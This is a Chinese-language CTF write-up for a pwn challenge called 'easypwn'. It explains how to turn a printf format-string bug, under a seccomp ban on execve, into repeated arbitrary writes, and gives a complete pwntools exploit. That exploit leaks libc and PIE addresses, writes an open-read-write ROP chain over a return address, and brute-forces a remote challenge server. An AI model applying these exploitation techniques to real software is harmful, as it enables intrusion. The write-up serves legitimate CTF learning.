警告
本文最后更新于 2021-01-26,文中内容可能已过时。
1.程序基本信息
程序架构
x86-64,前几个参数通过寄存器传参。
checksec
保护全开
seccomp
禁用了execve,意味着可能要用orw来读出flag。
2.程序代码信息
main
通过循环总共可以执行两次fun函数。
init_1和init_2
执行了setvbuf和设置了沙箱规则
fun
先把输入的数据读入到栈上的一块数据区,然后再用strcpy函数赋值到全局变量上(bss段的一块区域)。
并直接传入printf执行,要注意的是,\x00在字符串中表示字符串的截止,所以是无法通过strcpy函数赋值到全局变量上的,所以我们应该要把利用的地址信息放在格式化字符串的末尾。
3.如何利用
首先我们直接阅读程序可以得知,只有两次利用格式化字符串的机会,而且一次利用的长度只有0x18,如果我们要实现任意写的话,一个x64下的地址就占用8个字节,对于这道题来说,这大概意味着只能任意地址写两字节。
这对于我们使用one_gadget很有可能是足够的,但是这道题由于禁用了execve,所以使用one_gadget的方法并不在我们的考虑范围内。
所以我们需要考虑,如何把有限次的格式化字符串漏洞转换成无限次。
我的思路如下
1.先通过漏洞泄露出堆栈地址,用于之后步骤定位到栈上**i(循环变量)**的位置。
2.我们还剩下一次利用机会,所以我们必须利用这次机会来改写i,由于我们最多只有改写四字节的机会(但实际上我们最多只能控制两字节,因为四字节的内容过长,如果用%n来写入显然是远程无法打通的),所以我们只考虑写入0,而不考虑写入其他负数(也由于之后通过i的值来索引,所以这个负数不能很大,否则会写入到无效的地址)。
4.具体操作
可利用的payload空间
已有payload长度为:
1
| len("%10$n") + len(addr) = 5 + 8 = 13
|
我们最长的写入长度只有0x18 = 24,也就是我们只剩下长度为11的payload可以用于其他操作。所以我们只能考虑栈上本来存在的一些地址,这里我把他称为通过两重栈指针的利用方法。
由于我们要直接写入i(循环变量)的地址中存在0,所以在这之后不能再对指定地址写(payload空间也不足够)
栈上内容的读取
剩下长度11肯定足够用%p来读取内容了,所以我们可以通过读取栈上的内容来获取到栈上的重要信息来突破aslr和pie。
可以获取的信息有:
信息 | 来源 | | |
---|
libc基址 | 堆栈上的返回地址,__libc_start_main | | |
pie基址 | 堆栈上的返回地址,main | | |
stack基址 | 堆栈上的栈指针 | | |
两重栈指针
怎么寻找两重栈指针呢?
看下图:
这样由一个栈指针指向另一个栈指针的指针,而且指针的大小都大于rsp(否则printf无法操作到),这种指针我把他叫做特殊的两重栈指针。
为了以下讲解方便,如上图选中部分所示,
我们把0x7ffc0972ee88叫做ptr1,把0x7ffc097301aa叫做ptr2。
我们通过格式化字符串漏洞修改栈上指针所指向的内容,也就是ptr1指向的ptr2指针。所以我们只需要修改ptr1指针所指向的内容ptr2,并且修改为我们想要在下一次修改的位置,那么在下一次的时候就可以通过ptr2,来修改*ptr2。
注意:
1.我们这里选取的这个位置比较偏下,在__libc_start_main的下面,这样的好处是可以保证这一块的栈信息不会在多次操作的时候被修改。
2.这种指针在传递到printf的参数内容在全局变量的题目也会经常用到(不能直接操作指定地址的题目)。
空间够用吗?
我们知道我们还剩下11的长度可以操作,并且定位到两重指针的偏移是22,所以我们可以做一个简单的运算
用于ptr2中不一样的内容只有末尾2字节,而且我们也只能修改到末尾的字节(除非找到三重指针来修改ptr1的内容,但是这道题是不可能的),所以我们这里使用%hn来进行修改是最合适的。
1
| len("%???c%21$hn") == 11
|
中间的?代表的就是我们需要计算得到可以写入的长度,也就是我们修改的末尾数据最多只能是0~999,也就是当ptr(i) & 0xFFFF <= 0x3E7的时候我们才能够修改成功。
也就是说,在栈地址随机化的情况下,我们有(0x3E0 / 0x10000)的概率修改成功,这个概率大概是1.5%,虽然看上去感觉很小,但是实际测试中似乎命中率比这个要高一些,也可能是我算错了。
单字节写入
在这之后我们只需要对ptr2的地址进行%n写入,就可以直接对循环变量的地址进行写入,而这仅仅只需要
5个字节。
这意味着我们有了19个字节可以用来干其他事情。
我们可以干什么呢?
根据我的经验来说0x11个字节大概只能用于单字节写入任意地址,计算方法如下:
1
| len("%??c%10$hhn") + len(addr) == 19
|
这意味着我们只能写入小于100的单字节内容,但我们肯定不能仅限于此,所以我想到可以把%hhn换成%hn,这样的话虽然是写入两字节的内容,但实际上我们可以只写入一字节,然后另外一个字节的内容为0,但是我们的目的是多字节写入,所以这个0会在之后的操作中被覆盖掉。
多字节写入
我们有了无限次的单字节写入,实际上就有了多字节写入,我们只需要一字节一字节的写入,并且下次写入的时候让写入地址 + 1,正好可以错位写入到之前为0的位置,这样就实现了多字节写入。
1
2
3
4
| def write_data(addr, data):
for i in data:
write(addr, i)
addr += 1
|
构造ROP链
由于存在NX所以我们无法在栈上写shellcode,也没有RWX页可以操作。
但是我们有了栈地址,也有了多次写入的方法,那么我们可以直接覆盖**__libc_start_main**的返回地址来构造ROP链
由于开启了沙箱保护,所以ROP链的内容要是ORW操作,这部分的内容可以看我之前写的内部赛中的orw操作与这里是类似的,我们由于知道了pie的基址,所以可以定位到bss段上来写出flag内容,也可以在bss段上写出’flag’字符串信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| chunk_addr = rop.section('.bss') + 0x500
flag_string_addr = chunk_addr - 0x100
write_data(flag_string_addr, 'flag\x00')
pop_rdi_addr = pie_addr + 0xdd3
pop_rsi_addr = libc_base + 0x202f8
syscall_addr = libc_base + 0xbc3f5
pop_rax_addr = libc_base + 0x3a738
pop_rdx_addr = libc_base + 0x1b92
rop_data = [
pop_rdi_addr,
flag_string_addr,
pop_rsi_addr,
0,
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,
pop_rdx_addr,
0x100,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
chunk_addr,
syscall_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
chunk_addr,
syscall_addr
]
|
5.天时地利人和
由于概率比较小,所以可能执行exp的时候你还要找个风水好一点的地方,或者先去吃个饭啥的,回来就打通了。
6.总结
通过这道题目又对格式化字符串漏洞加深了理解,如果对此任有疑惑的朋友,可以先去试试之前我写过的第一届BMZCTF-pwn题中的三道printf,再来做这道题,希望你会有新的收获。
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
| from pwn import *
from LibcSearcher import *
from roputils import *
rop = ROP_X86_64('./easypwn')
def fmt(data):
r.sendafter("name?", data)
r.recvuntil('\n')
data = r.recvuntil('welcome', drop=True)
r.sendlineafter("how old are you??", "1")
return data
def write(addr, data):
if data == '\x00':
da = "%47$n%10$hn"
else:
da = "%47$n%" + str(ord(data)) + "c%10$hn"
fmt(da.ljust(0x10, 'a') + p64(addr))
def read(data):
return fmt("%47$n" + data)
def read_addr(addr):
da = "%47$n%10$s"
return fmt(da.ljust(0x10, 'a') + p64(addr))
def write_data(addr, data):
for i in data:
write(addr, i)
addr += 1
def pwn():
global attack_ptr
data = fmt("%21$p")
data_ptr = int(data, 16)
attack_ptr = data_ptr - 0xf0
ret_ptr = data_ptr - 0xe0
log.success("attack_ptr: " + hex(attack_ptr))
data = "%10$n%" + str(attack_ptr & 0xFFFF) + "c%21$hn"
if len(data) > 0x10:
raise EOFError
fmt(data.ljust(0x10, 'b') + p64(attack_ptr))
context.log_level = "debug"
context.arch = "amd64"
addr = read("%19$p")
libc_start_main_addr = int(addr, 16) - 240
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc_base = libc_start_main_addr - libc.dump('__libc_start_main')
log.success("libc_base: " + hex(libc_base))
addr = read("%15$p")
pie_addr = int(addr, 16) - 0xD4D
rop.base = pie_addr
log.success("pie_addr: " + hex(pie_addr))
chunk_addr = rop.section('.bss') + 0x500
flag_string_addr = chunk_addr - 0x100
write_data(flag_string_addr, 'flag\x00')
pop_rdi_addr = pie_addr + 0xdd3
pop_rsi_addr = libc_base + 0x202f8
syscall_addr = libc_base + 0xbc3f5
pop_rax_addr = libc_base + 0x3a738
pop_rdx_addr = libc_base + 0x1b92
rop_data = [
pop_rdi_addr,
flag_string_addr,
pop_rsi_addr,
0,
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,
pop_rdx_addr,
0x100,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
chunk_addr,
syscall_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
chunk_addr,
syscall_addr
]
write_data(ret_ptr, flat(rop_data))
fmt('a')
r.interactive()
while True:
try:
#r = process('./easypwn')
r = remote('139.217.102.146', 33865)
pwn()
except EOFError:
pass
|